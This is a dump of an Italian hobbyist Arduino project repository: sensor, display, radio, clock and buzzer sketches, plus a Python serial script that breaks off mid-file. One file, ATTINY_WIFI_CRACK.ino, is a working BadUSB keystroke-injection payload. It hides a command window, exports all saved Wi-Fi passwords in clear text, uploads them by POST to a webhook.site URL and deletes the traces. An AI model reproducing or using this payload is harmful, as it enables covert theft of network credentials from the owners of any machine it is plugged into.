├── _config.yml ├── Geiger ├── Geiger.jpg └── Geiger.ino ├── MQ7_SENSOR ├── MQ7_SENSOR.png └── MQ7_SENSOR.ino ├── 7x4_DISPLAY ├── 7x4_DISPLAY.png └── 7x4_DISPLAY.ino ├── Arduino Faretto DIY ├── faro.png └── faro pcb.png ├── 8x8_LED_MATRIX ├── 8x8_LED_MATRIX.png └── 8x8_LED_MATRIX.ino ├── Led_Fading_Arduino ├── led_fading1.png └── Led_Fadign_Arduino.ino ├── HC12_Wireless_Communication ├── HC12Wiring.jpg ├── ESP32_HC_12 │ └── ESP32_HC_12.ino └── ARDUINO_HC_12 │ └── ARDUINO_HC_12.ino ├── Telecomando_e_ricevitore ├── RICEVITORE_IR.jpg └── Telecomando_e_ricevitore.ino ├── PERFECT_ED_SHEERAN_BUZZER ├── PERFECT_ED_SHEERAN_BUZZER.png └── PERFECT_ED_SHEERAN_BUZZER.ino ├── README.md ├── ServoMotore └── ServoMotore.ino ├── Buzzer Allarme Sirena └── alarm.ino ├── CLAP_HANDS_LIGHT_ON_OFF └── CLAP_HANDS_LIGHT_ON_OFF.ino ├── accendereLuceBattendoMani └── accendereLuceBattendoMani.ino ├── Arduino Controlli Vocali └── VoiceControl.ino ├── Arduino Scheda SD └── SDFile.ino ├── ARDUINO RTC ├── DS1307_Adjust │ └── DS1307_Adjust.ino └── RTC │ └── RTC.ino ├── RUBBER_DUCKY ├── ATTINY_WIFI_CRACK │ └── ATTINY_WIFI_CRACK.ino └── ATTYNY │ └── ATTYNY.ino ├── Battito Cardiaco Arduino └── HearthBeat.ino ├── ARDUINO_TEACHABLE_MACHINE ├── arduino_code │ └── arduino_code.ino └── ARDUINO_AI │ └── main.py ├── COM_SERIALE_ARDUINO_PYTHON ├── centralina.py └── ARDUINO_JETSON │ └── ARDUINO_JETSON.ino └── IR ├── IR.ino └── PinDefinitionsAndMore.h /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /Geiger/Geiger.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/Geiger/Geiger.jpg -------------------------------------------------------------------------------- /MQ7_SENSOR/MQ7_SENSOR.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/MQ7_SENSOR/MQ7_SENSOR.png -------------------------------------------------------------------------------- /7x4_DISPLAY/7x4_DISPLAY.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/7x4_DISPLAY/7x4_DISPLAY.png -------------------------------------------------------------------------------- /Arduino Faretto DIY/faro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/Arduino Faretto DIY/faro.png -------------------------------------------------------------------------------- /8x8_LED_MATRIX/8x8_LED_MATRIX.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/8x8_LED_MATRIX/8x8_LED_MATRIX.png -------------------------------------------------------------------------------- /Arduino Faretto DIY/faro pcb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/Arduino Faretto DIY/faro pcb.png -------------------------------------------------------------------------------- /Led_Fading_Arduino/led_fading1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/Led_Fading_Arduino/led_fading1.png -------------------------------------------------------------------------------- /HC12_Wireless_Communication/HC12Wiring.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/HC12_Wireless_Communication/HC12Wiring.jpg -------------------------------------------------------------------------------- /Telecomando_e_ricevitore/RICEVITORE_IR.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/Telecomando_e_ricevitore/RICEVITORE_IR.jpg -------------------------------------------------------------------------------- /PERFECT_ED_SHEERAN_BUZZER/PERFECT_ED_SHEERAN_BUZZER.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProjectoOfficial/Arduino/master/PERFECT_ED_SHEERAN_BUZZER/PERFECT_ED_SHEERAN_BUZZER.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Arduino 2 | In this repository you can find some arduino projects with schematics and code 3 | 4 | These code is all written by Daniel Rossi and Alberto Lusuardi. 5 | 6 | You can find our youtube channel clicking on this link: 7 | https://www.youtube.com/c/ProjectoOfficial?sub_confirmation=1 8 | -------------------------------------------------------------------------------- /MQ7_SENSOR/MQ7_SENSOR.ino: -------------------------------------------------------------------------------- 1 | #define MQ7 A1 2 | 3 | float data = 0; 4 | int ppm = 0; 5 | int maxx = 0; 6 | void setup() { 7 | Serial.begin(9600); 8 | pinMode(MQ7, INPUT); 9 | } 10 | 11 | void loop() { 12 | data = analogRead(MQ7); 13 | ppm = map(data, 0, 1023, 300, 2000); 14 | if (ppm > maxx)maxx = ppm; 15 | Serial.print(ppm); 16 | Serial.print("ppm valore massimo:"); 17 | Serial.print(maxx); 18 | Serial.println("ppm"); 19 | 20 | } 21 | -------------------------------------------------------------------------------- /ServoMotore/ServoMotore.ino: -------------------------------------------------------------------------------- 1 | //© GNU License - Daniel Rossi 2020 2 | //https://youtube.com/c/ProjectoOfficial?sub_confirmation=1 3 | #include 4 | #define servoPin 9 5 | #define delay_ms 10 6 | Servo myservo; 7 | 8 | void setup() { 9 | myservo.attach(servoPin); 10 | 11 | } 12 | 13 | void loop() { 14 | for (int i = 0; i < 180; i++) { 15 | myservo.write(i); 16 | delay(delay_ms); 17 | } 18 | 19 | for (int i = 179; i >= 0; i--) { 20 | myservo.write(i); 21 | delay(delay_ms); 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /Buzzer Allarme Sirena/alarm.ino: -------------------------------------------------------------------------------- 1 | #define sensor 9 2 | #define buzzer 6 3 | 4 | #define minFreq 466 5 | #define maxFreq 662 6 | 7 | void setup() { 8 | Serial.begin(9600); 9 | pinMode(sensor,INPUT); 10 | pinMode(buzzer,OUTPUT); 11 | } 12 | 13 | void alarm(){ 14 | for(int i=minFreq;iminFreq;i--){ 18 | tone(buzzer,i); 19 | } 20 | } 21 | 22 | void loop() { 23 | 24 | Serial.println(digitalRead(buzzer)); 25 | if(digitalRead(sensor)==1){ 26 | for(int i=0;i<3;i++){ 27 | alarm(); 28 | delay(100); 29 | } 30 | }else{ 31 | tone(buzzer,-1000); 32 | digitalWrite(buzzer,LOW); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /CLAP_HANDS_LIGHT_ON_OFF/CLAP_HANDS_LIGHT_ON_OFF.ino: -------------------------------------------------------------------------------- 1 | #define del 500 2 | #define mic A0 3 | #define add 10 4 | int soglia = 65; 5 | int cont = 0; 6 | int azzera = 200; 7 | bool stato=0; 8 | 9 | void setup() { 10 | pinMode(mic, INPUT); 11 | pinMode(add, OUTPUT); 12 | Serial.begin(9600); 13 | } 14 | 15 | void loop() { 16 | Serial.println(analogRead(mic)); 17 | if (analogRead(mic) > soglia) { 18 | cont++; 19 | delay(del); 20 | } 21 | if (azzera == 0) { 22 | azzera = 100; 23 | cont = 0; 24 | } 25 | if (cont == 2) { 26 | azzera = 100; 27 | digitalWrite(add, !digitalRead(add)); 28 | stato=!stato; 29 | cont = 0; 30 | } 31 | azzera--; 32 | } 33 | -------------------------------------------------------------------------------- /HC12_Wireless_Communication/ESP32_HC_12/ESP32_HC_12.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // HC-12 TX pin must be connected to ESP32 RX pin, and viceversa 4 | SoftwareSerial HC12(16, 17); // HC-12 TX Pin, HC-12 RX Pin 5 | 6 | void setup() { 7 | Serial.begin(9600); // Serial port initialization to communicate with pc 8 | HC12.begin(9600); // Serial port init to communicate with HC12 9 | 10 | } 11 | 12 | void loop() { 13 | while (HC12.available()) { // If HC-12 has data 14 | Serial.write(HC12.read()); // print data on the Serial monitor 15 | } 16 | while (Serial.available()) { // If Serial communication has data 17 | HC12.write(Serial.read()); // Send data to HC-12 wireless communication 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /HC12_Wireless_Communication/ARDUINO_HC_12/ARDUINO_HC_12.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // HC-12 TX pin must be connected to arduino pin 10, and RX to arduino pin 11 4 | SoftwareSerial HC12(10, 11); // HC-12 TX Pin, HC-12 RX Pin 5 | 6 | void setup() { 7 | Serial.begin(9600); // Serial port initialization to communicate with pc 8 | HC12.begin(9600); // Serial port init to communicate with HC12 9 | 10 | } 11 | 12 | void loop() { 13 | while (HC12.available()) { // If HC-12 has data 14 | Serial.write(HC12.read()); // print data on the Serial monitor 15 | } 16 | while (Serial.available()) { // If Serial communication has data 17 | HC12.write(Serial.read()); // Send data to HC-12 wireless communication 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /7x4_DISPLAY/7x4_DISPLAY.ino: -------------------------------------------------------------------------------- 1 | #include 2 | SevSeg sevseg; 3 | #define pot A0 4 | int B = 2; 5 | int tre = 3; 6 | int due = 4; 7 | int F = 5; 8 | int A = 6; 9 | int uno = 7; 10 | int quattro = 8; 11 | int G = 9; 12 | int C = 10; 13 | int punto = 11; 14 | int D = 12; 15 | int E = 13; 16 | void setup() { 17 | byte numDigits = 4; 18 | byte digitPins[] = {uno, due, tre, quattro}; 19 | byte segmentPins[] = {A, B, C, D, E, F, G, punto}; 20 | bool resistorOnSegments = false; 21 | byte hardwareConfig = COMMON_CATHODE; 22 | bool updateWithDelays = false; 23 | bool leadingZeros = false; 24 | sevseg.begin(hardwareConfig, numDigits, digitPins, segmentPins, 25 | resistorOnSegments, updateWithDelays, leadingZeros); 26 | sevseg.setBrightness(90); 27 | Serial.begin(9600); 28 | } 29 | void loop() { 30 | int val = analogRead(pot); 31 | int scale = map(val, 0, 1023, 0, 5000); 32 | sevseg.setNumber(scale, 3); 33 | sevseg.refreshDisplay(); 34 | Serial.println(scale); 35 | } 36 | -------------------------------------------------------------------------------- /accendereLuceBattendoMani/accendereLuceBattendoMani.ino: -------------------------------------------------------------------------------- 1 | /* 2 | codice scritto da Daniel Rossi, studente di ingegneria informatica 3 | Copyright: GNU Licence 4 | 5 | link: https://youtube.com/c/ProjectoOfficial 6 | 7 | */ 8 | 9 | #define del 500 10 | #define mic A0 11 | #define add 10 12 | 13 | int soglia = 65; 14 | int cont = 0; 15 | int azzera = 200; 16 | bool stato = 0; 17 | 18 | 19 | void setup() { 20 | pinMode(mic,INPUT); 21 | pinMode(add,OUTPUT); 22 | Serial.begin(9600); 23 | 24 | } 25 | 26 | void loop() { 27 | 28 | Serial.println(analogRead(mic)); 29 | if(analogRead(mic)>soglia){ 30 | cont++; 31 | delay(del); 32 | } 33 | 34 | if(azzera == 0){ 35 | azzera = 100; 36 | cont = 0; 37 | } 38 | 39 | if(cont == 2 ){ 40 | azzera = 100; 41 | digitalWrite(add, !digitalRead(add)); 42 | stato = !stato; 43 | cont = 0; 44 | } 45 | 46 | azzera--; 47 | 48 | } 49 | -------------------------------------------------------------------------------- /Arduino Controlli Vocali/VoiceControl.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define rxPin 9 4 | #define txPin 8 5 | #define led 10 6 | 7 | String messaggio; 8 | 9 | SoftwareSerial mySerial(txPin,rxPin); 10 | 11 | 12 | void setup() { 13 | Serial.begin(38400); 14 | mySerial.begin(38400); 15 | 16 | pinMode(led,OUTPUT); 17 | 18 | digitalWrite(led,LOW); 19 | } 20 | 21 | 22 | void lampeggia(){ 23 | for(int i=0;i<10;i++) 24 | { 25 | digitalWrite(led,!digitalRead(led)); 26 | delay(500); 27 | } 28 | return; 29 | } 30 | 31 | 32 | void loop() { 33 | 34 | int i=0; 35 | char ch; 36 | messaggio=""; 37 | while(mySerial.available()>0){ 38 | ch=mySerial.read(); 39 | if(ch=='#') 40 | break; 41 | messaggio+=ch; 42 | } 43 | messaggio.toLowerCase(); 44 | if(messaggio!="") 45 | Serial.println(messaggio); 46 | 47 | if(messaggio=="accendi la luce" && digitalRead(led)==LOW) 48 | digitalWrite(led,HIGH); 49 | if(messaggio=="spegni la luce" && digitalRead(led)==HIGH) 50 | digitalWrite(led,LOW); 51 | if(messaggio=="lampeggia") 52 | lampeggia(); 53 | 54 | 55 | } 56 | -------------------------------------------------------------------------------- /Arduino Scheda SD/SDFile.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #define CS 10 4 | 5 | File testFile; 6 | void setup() { 7 | Serial.begin(9600); 8 | pinMode(CS,OUTPUT); 9 | 10 | if(SD.begin()){ 11 | Serial.println("Scheda SD pronta!"); 12 | }else 13 | { 14 | Serial.println("Errore inizializzazione SD"); 15 | return; 16 | } 17 | 18 | testFile = SD.open("test.txt",FILE_WRITE); 19 | 20 | if(testFile){ 21 | Serial.println("Scrivo nel file..."); 22 | testFile.println("zdfghadthsrtjhsghns"); 23 | Serial.println("Fatto!"); 24 | }else 25 | Serial.println("Errore di apertura del file"); 26 | 27 | testFile.close(); 28 | Serial.println("Lettura del file"); 29 | 30 | testFile = SD.open("test.txt",FILE_READ); 31 | if(testFile){ 32 | Serial.println("Sto leggendo..."); 33 | while(testFile.available()) 34 | Serial.print((char)testFile.read()); 35 | Serial.println(""); 36 | }else 37 | Serial.println("Errore di apertura del file"); 38 | 39 | testFile.close(); 40 | 41 | SD.remove("test.txt"); 42 | if(!SD.exists("test.txt")) 43 | Serial.println("File rimosso"); 44 | else 45 | Serial.println("Errore di cancellazione del file"); 46 | } 47 | 48 | void loop() { 49 | //void loop vuoto perche eseguo il codice solo una volta nel void setup 50 | } 51 | -------------------------------------------------------------------------------- /ARDUINO RTC/DS1307_Adjust/DS1307_Adjust.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static DS1307 RTC; 5 | 6 | #define __tempo__ 11,46,00 7 | #define __data__ 11,04,21 8 | 9 | /*domenica=1; lunedi=2, martedi=2, mercoledi=4, giovedi=5, venerdi=6, sabato=7*/ 10 | #define __giornosettimana__ 1 11 | 12 | void setup() 13 | { 14 | Serial.begin(9600); 15 | RTC.begin(); 16 | 17 | Serial.println("imposto il tempo"); 18 | //RTC.setHourMode(CLOCK_H12); 19 | RTC.setHourMode(CLOCK_H24); 20 | RTC.setWeek(__giornosettimana__); 21 | RTC.setDate(__data__); 22 | RTC.setTime(__tempo__); 23 | Serial.println("Nuovo tempo impostato"); 24 | RTC.startClock(); 25 | 26 | } 27 | 28 | void loop() 29 | { 30 | Serial.println(); 31 | Serial.println("Verifica del tempo:"); 32 | Serial.print(RTC.getDay()); 33 | Serial.print("/"); 34 | Serial.print(RTC.getMonth()); 35 | Serial.print("/"); 36 | Serial.print(RTC.getYear()); 37 | Serial.print(" "); 38 | Serial.print(RTC.getHours()); 39 | Serial.print(":"); 40 | Serial.print(RTC.getMinutes()); 41 | Serial.print(":"); 42 | Serial.print(RTC.getSeconds()); 43 | Serial.print(""); 44 | 45 | if (RTC.getHourMode() == CLOCK_H12) 46 | { 47 | switch (RTC.getMeridiem()) { 48 | case HOUR_AM: 49 | Serial.print(" AM"); 50 | break; 51 | case HOUR_PM: 52 | Serial.print(" PM"); 53 | break; 54 | } 55 | } 56 | Serial.println(""); 57 | delay(1000); 58 | 59 | } 60 | -------------------------------------------------------------------------------- /RUBBER_DUCKY/ATTINY_WIFI_CRACK/ATTINY_WIFI_CRACK.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | void setup() { 4 | pinMode(1, OUTPUT); //LED on Model A 5 | } 6 | 7 | void loop() { 8 | 9 | DigiKeyboard.update(); 10 | DigiKeyboard.sendKeyStroke(0); 11 | DigiKeyboard.delay(3000); 12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //start run 13 | DigiKeyboard.delay(100); 14 | DigiKeyboard.println("cmd &k mode con> cols=15 lines=1"); //smallest cmd window possible for trying to making it as less noticeable as possible 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.println("cd %temp%"); //Jumping to temporary dir 17 | DigiKeyboard.delay(300); 18 | DigiKeyboard.println("netsh wlan export profile key)clear"); //grabbing all the saved wifi passwd and saving them in temporary dir 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.print("powershell Select/String /Path Wi}.xml /Pattern -keyMaterial- "); 21 | DigiKeyboard.sendKeyStroke(100, MOD_SHIFT_LEFT); 22 | DigiKeyboard.println("Wi/Fi/PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir 23 | DigiKeyboard.delay(500); 24 | DigiKeyboard.println("powershell Invoke/WebRequest /Uri https>&&webhook.site&ecbf0deb/cc97/4753/8d07/57e84ffbf05f /Method POST /InFile Wi/Fi/PASS"); //Submitting all passwords on hook 25 | DigiKeyboard.delay(1000); 26 | DigiKeyboard.println("del Wi/} &s &f &q"); //cleaning up all the mess 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.println("exit"); 29 | DigiKeyboard.delay(100); 30 | digitalWrite(1, HIGH); //turn on led when program finishes 31 | DigiKeyboard.delay(90000); 32 | digitalWrite(1, LOW); 33 | DigiKeyboard.delay(5000); 34 | } 35 | -------------------------------------------------------------------------------- /Battito Cardiaco Arduino/HearthBeat.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #define intervallo 20 3 | #define samples 22 4 | #define sensore A5 5 | 6 | #define affidabilita 50 7 | 8 | long contatore = 0; 9 | double BPM =0; 10 | double BPM_calibrata = 0; 11 | 12 | double start_time = 0; 13 | double end_time = 0; 14 | 15 | 16 | 17 | void setup() { 18 | Serial.begin(9600); 19 | } 20 | 21 | int differenza_campioni(){ 22 | float primo_campione = read_sample(); 23 | delay (intervallo); 24 | float secondo_campione = read_sample(); 25 | float differenza = secondo_campione - primo_campione; 26 | return differenza; 27 | } 28 | 29 | float read_sample(){ 30 | float somma=0; 31 | for(int i=0;i0) // f(x+1)>f(x) ==> funzione crescente 42 | { 43 | while (differenza>0) 44 | { 45 | differenza= differenza_campioni(); 46 | } 47 | contatore++; 48 | if (contatore == 1) 49 | { 50 | start_time = millis(); 51 | } 52 | } 53 | else // f(x+1) abbiamo raggiunto un picco di massimo/minimo - funzione decrescente 54 | { 55 | while (differenza<=0) 56 | { 57 | differenza= differenza_campioni(); 58 | } 59 | 60 | contatore++; 61 | if (contatore == 1) 62 | { 63 | start_time = millis(); // time at the time of first pick 64 | } 65 | } 66 | 67 | 68 | if (contatore==affidabilita) 69 | { 70 | end_time = millis(); 71 | BPM = ((contatore*30000))/((end_time-start_time)) ; 72 | BPM_calibrata=BPM*0.19-12.56; 73 | if(BPM_calibrata<120 && BPM_calibrata >55){ 74 | Serial.print("picchi: "); 75 | Serial.print(contatore/2); 76 | Serial.print("; tempo: "); 77 | Serial.print(end_time-start_time); 78 | Serial.print ("; BPM: "); 79 | Serial.println(BPM_calibrata); 80 | delay (10); 81 | } 82 | else{ 83 | Serial.println("sensore disconnesso"); 84 | } 85 | contatore = 0; 86 | 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /ARDUINO_TEACHABLE_MACHINE/arduino_code/arduino_code.ino: -------------------------------------------------------------------------------- 1 | #define LED_PIN_0 13 // il pin 13 ha un led incorporato sul PCB di arduino 2 | #define LED_PIN_1 3 3 | #define LED_PIN_2 4 4 | 5 | 6 | void setup() { 7 | // Il codice inserito qui dentro verrà eseguito per primo quando Arduino si accende, e verrà eseguito una sola volta 8 | Serial.begin(9600); //Inizializza il protocollo che permette di scrivere testo o numeri sul serial monitor 9 | pinMode(LED_PIN_0, OUTPUT); // Definisce che il pin a cui fa riferimento LED_PIN diventa un ouput, il microcontrollore sa che lo utilizzeremo per inviare segnali o dati 10 | pinMode(LED_PIN_1, OUTPUT); 11 | pinMode(LED_PIN_2, OUTPUT); 12 | } 13 | 14 | void loop() { 15 | // START: Il codice inserito tra queste parentesi graffe, invece, verrà eseguito all'infinito, finché arduino è acceso. 16 | 17 | /* QUESTO CODICE NON SERVE PIU' 18 | digitalWrite(LED_PIN, HIGH); // digitalWrite è una funzione che ci permette di impostare lo stato del pin | la funzione prende come parametro: il pin da modificare, lo stato da impostare (HIGH = acceso, LOW = spento) 19 | delay(500); // il delay mette in pausa arduino dal continuare dopo questa riga di codice, in questo caso lo fa aspettare qua per 500ms, per poi continuare fino in fondo 20 | digitalWrite(LED_PIN, LOW); 21 | delay(500); 22 | */ 23 | 24 | if (Serial.available()) { // controlliamo se arrivano dati dal cavo che collega arduino al PC 25 | char c = Serial.read(); // Se ci sono dati, allora li leggiamo 26 | if (c == '0') { 27 | digitalWrite(LED_PIN_0, HIGH); 28 | digitalWrite(LED_PIN_1, LOW); 29 | digitalWrite(LED_PIN_2, LOW); 30 | } 31 | else if (c == '1') { 32 | digitalWrite(LED_PIN_0, LOW); 33 | digitalWrite(LED_PIN_1, HIGH); 34 | digitalWrite(LED_PIN_2, LOW); 35 | } 36 | else if (c == '2') { 37 | digitalWrite(LED_PIN_0, LOW); 38 | digitalWrite(LED_PIN_1, LOW); 39 | digitalWrite(LED_PIN_2, HIGH); 40 | } 41 | else { 42 | digitalWrite(LED_PIN_0, LOW); 43 | digitalWrite(LED_PIN_1, LOW); 44 | digitalWrite(LED_PIN_2, LOW); 45 | } 46 | Serial.println(c); 47 | } 48 | // quando l'esecuzione arriva qui in fondo, riparte dall'inizio --> START 49 | } 50 | -------------------------------------------------------------------------------- /RUBBER_DUCKY/ATTYNY/ATTYNY.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(100); 10 | DigiKeyboard.println("1 !"); // ! 11 | DigiKeyboard.println("2 £"); 12 | DigiKeyboard.println("3 $"); // $ 13 | DigiKeyboard.println("4 %"); // % 14 | DigiKeyboard.println("5 &"); // / 15 | DigiKeyboard.println("6 /"); // - 16 | DigiKeyboard.println("7 ("); // ) 17 | DigiKeyboard.println("8 )"); // = 18 | DigiKeyboard.println("9 ?"); 19 | 20 | DigiKeyboard.println("10 ^"); // & 21 | DigiKeyboard.println("11 '"); // à 22 | DigiKeyboard.println("12 ì"); // ga 23 | DigiKeyboard.println("13 é"); // g 24 | DigiKeyboard.println("14 è"); // g 25 | DigiKeyboard.println("15 +"); // ^ 26 | DigiKeyboard.println("16 ç"); // g 27 | DigiKeyboard.println("17 °"); 28 | DigiKeyboard.println("18 §"); 29 | DigiKeyboard.println("19 ["); // è 30 | 31 | DigiKeyboard.println("20 ]"); // + 32 | DigiKeyboard.println("21 @"); // " 33 | DigiKeyboard.println("22 #"); // £ 34 | DigiKeyboard.println("23 <"); // ; 35 | DigiKeyboard.println("24 >"); // : 36 | DigiKeyboard.println("25 |"); // § 37 | DigiKeyboard.println("26 *"); // ( 38 | DigiKeyboard.println("27 ò"); // g 39 | DigiKeyboard.println("28 à"); // g 40 | DigiKeyboard.println("29 €"); // ca 41 | 42 | DigiKeyboard.println("30 -"); // ' 43 | DigiKeyboard.println("31 _"); // ? 44 | DigiKeyboard.println("32 ."); // . 45 | DigiKeyboard.println("33 ,"); // , 46 | DigiKeyboard.println("34 \\"); // ù 47 | DigiKeyboard.println("35 \""); // ° 48 | DigiKeyboard.println("36 ~"); // | 49 | DigiKeyboard.println("37 {"); // è 50 | DigiKeyboard.println("38 }"); // * 51 | DigiKeyboard.println("39 `"); // \ 52 | 53 | DigiKeyboard.println("41 ;"); // ò 54 | DigiKeyboard.println("40 :"); // ç 55 | DigiKeyboard.println("42 ="); // ì 56 | DigiKeyboard.println("43 ù"); // g 57 | DigiKeyboard.println("44 è"); // 58 | DigiKeyboard.println("45 ê"); // 4 59 | DigiKeyboard.println("46 ë"); // f 60 | DigiKeyboard.println("47 â"); // a 61 | DigiKeyboard.println("48 Ø"); // 62 | DigiKeyboard.println("49 …"); // 63 | DigiKeyboard.sendKeyStroke(100, MOD_SHIFT_LEFT); 64 | DigiKeyboard.delay(10000); 65 | } 66 | -------------------------------------------------------------------------------- /ARDUINO RTC/RTC/RTC.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static DS1307 RTC; 5 | 6 | void setup() 7 | { 8 | Serial.begin(9600); 9 | RTC.begin(); 10 | 11 | Serial.println(); 12 | Serial.print("Controllo funzionamento modulo : "); 13 | if (RTC.isRunning()) 14 | Serial.println("funziona!"); 15 | else 16 | Serial.println("non funziona, l'orario potrebbe essere sbagliato"); 17 | 18 | Serial.print("Modalità orario: "); 19 | if (RTC.getHourMode() == CLOCK_H24) 20 | Serial.println("24 ore"); 21 | else 22 | Serial.println("12 ore"); 23 | 24 | Serial.print("controllo abilitazione pin out: "); 25 | if (RTC.isOutPinEnabled()) 26 | Serial.println("abilitato"); 27 | else 28 | Serial.println("non abilitato"); 29 | 30 | Serial.print("controllo abillitazione SQWE : "); 31 | if (RTC.isSqweEnabled()) 32 | Serial.println("abilitato"); 33 | else 34 | Serial.println("non abilitato"); 35 | 36 | 37 | } 38 | 39 | void loop() 40 | { 41 | 42 | switch (RTC.getWeek()) 43 | { 44 | case 1: 45 | Serial.print("DOMENICA"); 46 | break; 47 | case 2: 48 | Serial.print("LUNEDI"); 49 | break; 50 | case 3: 51 | Serial.print("MARTEDI"); 52 | break; 53 | case 4: 54 | Serial.print("MERCOLEDI"); 55 | break; 56 | case 5: 57 | Serial.print("GIOVEDI"); 58 | break; 59 | case 6: 60 | Serial.print("VENERDI"); 61 | break; 62 | case 7: 63 | Serial.print("SABATO"); 64 | break; 65 | } 66 | Serial.print(" "); 67 | Serial.print(RTC.getDay()); 68 | Serial.print("/"); 69 | Serial.print(RTC.getMonth()); 70 | Serial.print("/"); 71 | Serial.print(RTC.getYear()); 72 | 73 | Serial.print(" "); 74 | 75 | Serial.print(RTC.getHours()); 76 | Serial.print(":"); 77 | Serial.print(RTC.getMinutes()); 78 | Serial.print(":"); 79 | Serial.print(RTC.getSeconds()); 80 | 81 | if (RTC.getHourMode() == CLOCK_H12) 82 | { 83 | switch (RTC.getMeridiem()) 84 | { 85 | case HOUR_AM : 86 | Serial.print(" AM"); 87 | break; 88 | case HOUR_PM : 89 | Serial.print(" PM"); 90 | break; 91 | } 92 | } 93 | Serial.println(); 94 | delay(1000); 95 | 96 | 97 | } 98 | -------------------------------------------------------------------------------- /Geiger/Geiger.ino: -------------------------------------------------------------------------------- 1 | /* 2 | CC Daniel Rossi 21-02-2020 3 | 4 | e-mail: miniprojectsofficial@gmail.com 5 | 6 | References: https://youtube.com/c/ProjectoOfficial 7 | 8 | il fattore di conversione è stato prelevato da questo forum: https://radioactivity.forumcommunity.net/?t=57429596 9 | 10 | Lo smoke detector acquistato per testare il circuito ha una dose equivalente di 0.8uS in media 11 | 12 | L'unita di misura in Output da arduino è in uS 13 | 14 | */ 15 | 16 | #define CONV_FACTOR 0.00812 17 | #define SAMPLE_TIME 3000 18 | 19 | #define in A0 20 | #define light 7 21 | #include 22 | #include 23 | 24 | Adafruit_PCD8544 disp = Adafruit_PCD8544(5,4,3); 25 | int contrast=60; 26 | boolean backlight = true; 27 | 28 | unsigned long start = 0; 29 | int cont = 0; 30 | 31 | void setup() { 32 | 33 | Serial.begin(115200); 34 | pinMode(in, INPUT); 35 | pinMode(light,OUTPUT); 36 | 37 | if(backlight==true) 38 | digitalWrite(light,HIGH); 39 | else 40 | digitalWrite(light,LOW); 41 | 42 | disp.begin(); 43 | disp.setContrast(contrast); 44 | disp.clearDisplay(); 45 | disp.setTextSize(1); 46 | disp.setTextColor(BLACK,WHITE); 47 | disp.setCursor(0,0); 48 | disp.print("RADIATION"); 49 | disp.setCursor(0,15); 50 | disp.print("DETECTOR"); 51 | disp.display(); 52 | delay(1000); 53 | 54 | disp.clearDisplay(); 55 | disp.setCursor(5,0); 56 | disp.print("MEASURE"); 57 | disp.drawFastHLine(0,15,83,BLACK); 58 | disp.setCursor(0,30); 59 | disp.setTextSize(2); 60 | disp.print("0 us"); 61 | disp.display(); 62 | 63 | 64 | start=millis(); 65 | } 66 | 67 | void updateDisplay(float sievert){ 68 | disp.clearDisplay(); 69 | disp.setTextSize(1); 70 | disp.setCursor(5,0); 71 | disp.print("MEASURE"); 72 | disp.drawFastHLine(0,15,83,BLACK); 73 | disp.setCursor(0,30); 74 | disp.setTextSize(2); 75 | 76 | String s = String(sievert)+"uS"; 77 | disp.print(s); 78 | disp.display(); 79 | } 80 | 81 | void loop() { 82 | int data = map(analogRead(in), 0, 1023, 0, 1000); 83 | 84 | if (data < 834) 85 | cont++; 86 | 87 | if (millis() - start > SAMPLE_TIME ){ 88 | float sievert = cont*CONV_FACTOR; 89 | updateDisplay(sievert); 90 | start = millis(); 91 | cont = 0; 92 | } 93 | 94 | 95 | 96 | 97 | } 98 | -------------------------------------------------------------------------------- /COM_SERIALE_ARDUINO_PYTHON/centralina.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import serial 3 | import time 4 | import struct 5 | import ctypes 6 | import traceback 7 | 8 | MAXTEMP = 60 9 | MINVOLT = 40 10 | 11 | USBDELAY = 50 12 | receive = 1 13 | global_data = (0, 0, 0) 14 | 15 | 16 | #***************************** CHECKING INCOMING DATA **************************** 17 | def check_data(data): 18 | result = [1, 1, 0] 19 | 20 | if data[0] < MAXTEMP: 21 | result[0] = 0 22 | 23 | if data[1] > MINVOLT: 24 | result[1] = 0 25 | 26 | return tuple(result) 27 | 28 | 29 | #************************* RECEIVING DATA FROM ARDUINO *************************** 30 | def receive_data(ser, STRUCT_VARIABLES, struct_size): 31 | if ser.in_waiting == 0: 32 | return 0 33 | data = (0, 0, 0) 34 | try: 35 | try: 36 | raw_data = 